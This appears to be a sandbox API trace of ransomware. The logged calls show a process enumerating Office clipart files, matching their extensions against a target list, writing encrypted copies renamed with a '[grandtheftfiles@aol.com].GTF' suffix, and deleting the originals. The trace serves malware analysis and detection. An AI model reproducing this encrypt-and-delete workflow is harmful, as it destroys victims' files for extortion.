	[0181.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.721] lstrlenW (lpString=".zip") returned 4
	[0181.721] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.721] lstrlenW (lpString=".rar") returned 4
	[0181.721] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.721] lstrlenW (lpString=".bz2") returned 4
	[0181.721] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.721] lstrlenW (lpString=".7z") returned 3
	[0181.721] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.721] lstrlenW (lpString=".dbf") returned 4
	[0181.721] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.721] lstrlenW (lpString=".1cd") returned 4
	[0181.721] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.721] lstrlenW (lpString=".jpg") returned 4
	[0181.721] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.721] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0181.721] lstrlenW (lpString="J0179963.JPG") returned 12
	[0181.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.723] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=32110) returned 1
	[0181.723] CloseHandle (hObject=0x540) returned 1
	[0181.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 0x220
	[0181.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.723] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.724] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.724] GetLastError () returned 0x0
	[0181.724] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x7d6e, lpOverlapped=0x0) returned 1
	[0181.728] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x7d70, lpOverlapped=0x0) returned 1
	[0181.729] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.729] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.729] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.730] CloseHandle (hObject=0x3d4) returned 1
	[0181.730] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.730] SetEndOfFile (hFile=0x540) returned 1
	[0181.732] CloseHandle (hObject=0x540) returned 1
	[0181.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 1
	[0181.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.734] lstrlenW (lpString=".doc") returned 4
	[0181.734] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.734] lstrlenW (lpString=".docx") returned 5
	[0181.734] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0181.734] lstrlenW (lpString=".pdf") returned 4
	[0181.734] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.734] lstrlenW (lpString=".xls") returned 4
	[0181.734] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.734] lstrlenW (lpString=".xlsx") returned 5
	[0181.734] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0181.734] lstrlenW (lpString=".ppt") returned 4
	[0181.734] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.734] lstrlenW (lpString=".zip") returned 4
	[0181.734] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.734] lstrlenW (lpString=".rar") returned 4
	[0181.734] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.734] lstrlenW (lpString=".bz2") returned 4
	[0181.734] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.734] lstrlenW (lpString=".7z") returned 3
	[0181.734] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.734] lstrlenW (lpString=".dbf") returned 4
	[0181.734] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.734] lstrlenW (lpString=".1cd") returned 4
	[0181.734] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.734] lstrlenW (lpString=".jpg") returned 4
	[0181.734] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.735] lstrlenW (lpString=".doc") returned 4
	[0181.735] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.735] lstrlenW (lpString=".docx") returned 5
	[0181.735] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0181.735] lstrlenW (lpString=".pdf") returned 4
	[0181.735] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.735] lstrlenW (lpString=".xls") returned 4
	[0181.735] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.735] lstrlenW (lpString=".xlsx") returned 5
	[0181.735] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0181.735] lstrlenW (lpString=".ppt") returned 4
	[0181.735] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.735] lstrlenW (lpString=".zip") returned 4
	[0181.735] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.735] lstrlenW (lpString=".rar") returned 4
	[0181.735] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.735] lstrlenW (lpString=".bz2") returned 4
	[0181.735] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.735] lstrlenW (lpString=".7z") returned 3
	[0181.735] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.735] lstrlenW (lpString=".dbf") returned 4
	[0181.735] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.735] lstrlenW (lpString=".1cd") returned 4
	[0181.735] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68
	[0181.735] lstrlenW (lpString=".jpg") returned 4
	[0181.735] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.736] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0181.736] lstrlenW (lpString="J0182689.JPG") returned 12
	[0181.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.737] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=16615) returned 1
	[0181.737] CloseHandle (hObject=0x540) returned 1
	[0181.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 0x220
	[0181.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.738] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.738] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.739] GetLastError () returned 0x0
	[0181.739] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x40e7, lpOverlapped=0x0) returned 1
	[0182.002] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x40f0, lpOverlapped=0x0) returned 1
	[0182.003] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.003] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.004] SetEndOfFile (hFile=0x3d4) returned 1
	[0182.115] CloseHandle (hObject=0x3d4) returned 1
	[0182.115] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.115] SetEndOfFile (hFile=0x540) returned 1
	[0182.117] CloseHandle (hObject=0x540) returned 1
	[0182.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 1
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.119] lstrlenW (lpString=".doc") returned 4
	[0182.119] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.119] lstrlenW (lpString=".docx") returned 5
	[0182.119] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0182.119] lstrlenW (lpString=".pdf") returned 4
	[0182.119] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.119] lstrlenW (lpString=".xls") returned 4
	[0182.119] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.119] lstrlenW (lpString=".xlsx") returned 5
	[0182.119] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0182.119] lstrlenW (lpString=".ppt") returned 4
	[0182.119] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.119] lstrlenW (lpString=".zip") returned 4
	[0182.119] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.119] lstrlenW (lpString=".rar") returned 4
	[0182.119] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.119] lstrlenW (lpString=".bz2") returned 4
	[0182.119] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.119] lstrlenW (lpString=".7z") returned 3
	[0182.119] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.119] lstrlenW (lpString=".dbf") returned 4
	[0182.119] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.119] lstrlenW (lpString=".1cd") returned 4
	[0182.119] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.119] lstrlenW (lpString=".jpg") returned 4
	[0182.119] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.120] lstrlenW (lpString=".doc") returned 4
	[0182.120] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.120] lstrlenW (lpString=".docx") returned 5
	[0182.120] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0182.120] lstrlenW (lpString=".pdf") returned 4
	[0182.120] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.120] lstrlenW (lpString=".xls") returned 4
	[0182.120] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.120] lstrlenW (lpString=".xlsx") returned 5
	[0182.120] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0182.120] lstrlenW (lpString=".ppt") returned 4
	[0182.120] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.120] lstrlenW (lpString=".zip") returned 4
	[0182.120] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.120] lstrlenW (lpString=".rar") returned 4
	[0182.120] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.120] lstrlenW (lpString=".bz2") returned 4
	[0182.120] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.120] lstrlenW (lpString=".7z") returned 3
	[0182.120] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.120] lstrlenW (lpString=".dbf") returned 4
	[0182.120] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.120] lstrlenW (lpString=".1cd") returned 4
	[0182.120] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68
	[0182.120] lstrlenW (lpString=".jpg") returned 4
	[0182.120] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.120] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.120] lstrlenW (lpString="J0183174.WMF") returned 12
	[0182.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.134] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=28626) returned 1
	[0182.134] CloseHandle (hObject=0x540) returned 1
	[0182.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 0x220
	[0182.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.134] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.134] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0182.135] GetLastError () returned 0x0
	[0182.135] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x6fd2, lpOverlapped=0x0) returned 1
	[0182.149] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x6fe0, lpOverlapped=0x0) returned 1
	[0182.150] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.150] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.151] SetEndOfFile (hFile=0x3d4) returned 1
	[0182.151] CloseHandle (hObject=0x3d4) returned 1
	[0182.151] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.151] SetEndOfFile (hFile=0x540) returned 1
	[0182.154] CloseHandle (hObject=0x540) returned 1
	[0182.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 1
	[0182.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.155] lstrlenW (lpString=".doc") returned 4
	[0182.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.155] lstrlenW (lpString=".docx") returned 5
	[0182.155] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0182.155] lstrlenW (lpString=".pdf") returned 4
	[0182.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString=".xls") returned 4
	[0182.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.156] lstrlenW (lpString=".xlsx") returned 5
	[0182.156] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0182.156] lstrlenW (lpString=".ppt") returned 4
	[0182.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.156] lstrlenW (lpString=".zip") returned 4
	[0182.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.156] lstrlenW (lpString=".rar") returned 4
	[0182.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString=".bz2") returned 4
	[0182.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString=".7z") returned 3
	[0182.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.156] lstrlenW (lpString=".dbf") returned 4
	[0182.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.156] lstrlenW (lpString=".1cd") returned 4
	[0182.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.156] lstrlenW (lpString=".jpg") returned 4
	[0182.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.156] lstrlenW (lpString=".doc") returned 4
	[0182.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString=".docx") returned 5
	[0182.156] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0182.156] lstrlenW (lpString=".pdf") returned 4
	[0182.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.156] lstrlenW (lpString=".xls") returned 4
	[0182.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.156] lstrlenW (lpString=".xlsx") returned 5
	[0182.157] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0182.157] lstrlenW (lpString=".ppt") returned 4
	[0182.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
